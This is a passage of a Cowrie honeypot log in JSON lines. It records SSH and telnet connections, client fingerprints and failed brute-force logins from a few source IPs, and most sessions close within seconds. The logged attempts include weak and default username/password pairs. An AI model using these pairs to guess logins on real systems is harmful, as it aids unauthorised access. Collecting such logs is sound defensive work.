256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:21.165229Z","src_ip":"45.156.87.147","session":"96f30d1e78be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:21.421929Z","src_ip":"45.156.87.147","session":"96f30d1e78be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:22.506229Z","src_ip":"45.156.87.147","session":"96f30d1e78be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48396,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c706f8e183","protocol":"telnet","message":"New connection: 107.6.151.170:48396 (159.203.135.109:23) [session: 77c706f8e183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:23.752951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52464,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9631de5c05d","protocol":"ssh","message":"New connection: 45.156.87.147:52464 (10.17.0.5:22) [session: c9631de5c05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:26.906429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:26.911134Z","src_ip":"45.156.87.147","session":"c9631de5c05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:26.991665Z","src_ip":"45.156.87.147","session":"c9631de5c05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:27.251931Z","src_ip":"45.156.87.147","session":"c9631de5c05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:28.335282Z","src_ip":"45.156.87.147","session":"c9631de5c05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39300,"dst_ip":"10.17.0.5","dst_port":22,"session":"51965bcf67a5","protocol":"ssh","message":"New connection: 45.156.87.147:39300 (10.17.0.5:22) [session: 51965bcf67a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:32.755254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:32.758611Z","src_ip":"45.156.87.147","session":"51965bcf67a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:32.839055Z","src_ip":"45.156.87.147","session":"51965bcf67a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:33.087749Z","src_ip":"45.156.87.147","session":"51965bcf67a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:34.174591Z","src_ip":"45.156.87.147","session":"51965bcf67a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45778,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef7ebf7608bb","protocol":"ssh","message":"New connection: 8.219.200.1:45778 (10.17.0.5:22) [session: ef7ebf7608bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:34.462524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:36.692662Z","src_ip":"8.219.200.1","session":"ef7ebf7608bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:36.925990Z","src_ip":"8.219.200.1","session":"ef7ebf7608bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39302,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b49b8a04d7c","protocol":"ssh","message":"New connection: 45.156.87.147:39302 (10.17.0.5:22) [session: 6b49b8a04d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:38.522640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:38.526509Z","src_ip":"45.156.87.147","session":"6b49b8a04d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:38.610142Z","src_ip":"45.156.87.147","session":"6b49b8a04d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:38.857321Z","src_ip":"45.156.87.147","session":"6b49b8a04d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:39.977911Z","src_ip":"45.156.87.147","session":"6b49b8a04d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":49868,"dst_ip":"10.17.0.5","dst_port":22,"session":"32d5f2b8f66c","protocol":"ssh","message":"New connection: 8.219.200.1:49868 (10.17.0.5:22) [session: 32d5f2b8f66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:41.808664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:42.655753Z","src_ip":"8.219.200.1","session":"32d5f2b8f66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:42.659156Z","src_ip":"8.219.200.1","session":"32d5f2b8f66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:42.799071Z","src_ip":"8.219.200.1","session":"ef7ebf7608bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:43.617114Z","src_ip":"8.219.200.1","session":"32d5f2b8f66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.038444Z","src_ip":"8.219.200.1","session":"ef7ebf7608bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47382,"dst_ip":"10.17.0.5","dst_port":22,"session":"94feccbc1a89","protocol":"ssh","message":"New connection: 45.156.87.147:47382 (10.17.0.5:22) [session: 94feccbc1a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.236072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.239150Z","src_ip":"45.156.87.147","session":"94feccbc1a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.331197Z","src_ip":"45.156.87.147","session":"94feccbc1a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"12345678","message":"login attempt [crafty/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.745553Z","src_ip":"45.156.87.147","session":"94feccbc1a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:44.859151Z","src_ip":"8.219.200.1","session":"32d5f2b8f66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:45.829562Z","src_ip":"45.156.87.147","session":"94feccbc1a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32978,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb263629ada3","protocol":"ssh","message":"New connection: 45.156.87.147:32978 (10.17.0.5:22) [session: eb263629ada3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:50.294335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:50.297537Z","src_ip":"45.156.87.147","session":"eb263629ada3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:50.378178Z","src_ip":"45.156.87.147","session":"eb263629ada3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:50.626167Z","src_ip":"45.156.87.147","session":"eb263629ada3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:51.812457Z","src_ip":"45.156.87.147","session":"eb263629ada3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.46307897567749,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:54.678533Z","src_ip":"128.199.8.54","session":"14a228fed119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32992,"dst_ip":"10.17.0.5","dst_port":22,"session":"804d68b1a93f","protocol":"ssh","message":"New connection: 45.156.87.147:32992 (10.17.0.5:22) [session: 804d68b1a93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:56.212063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:56.215961Z","src_ip":"45.156.87.147","session":"804d68b1a93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:56.298332Z","src_ip":"45.156.87.147","session":"804d68b1a93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:56.561877Z","src_ip":"45.156.87.147","session":"804d68b1a93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.9844708442688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:56.737297Z","src_ip":"107.6.151.170","session":"77c706f8e183","protocol":"telnet"}
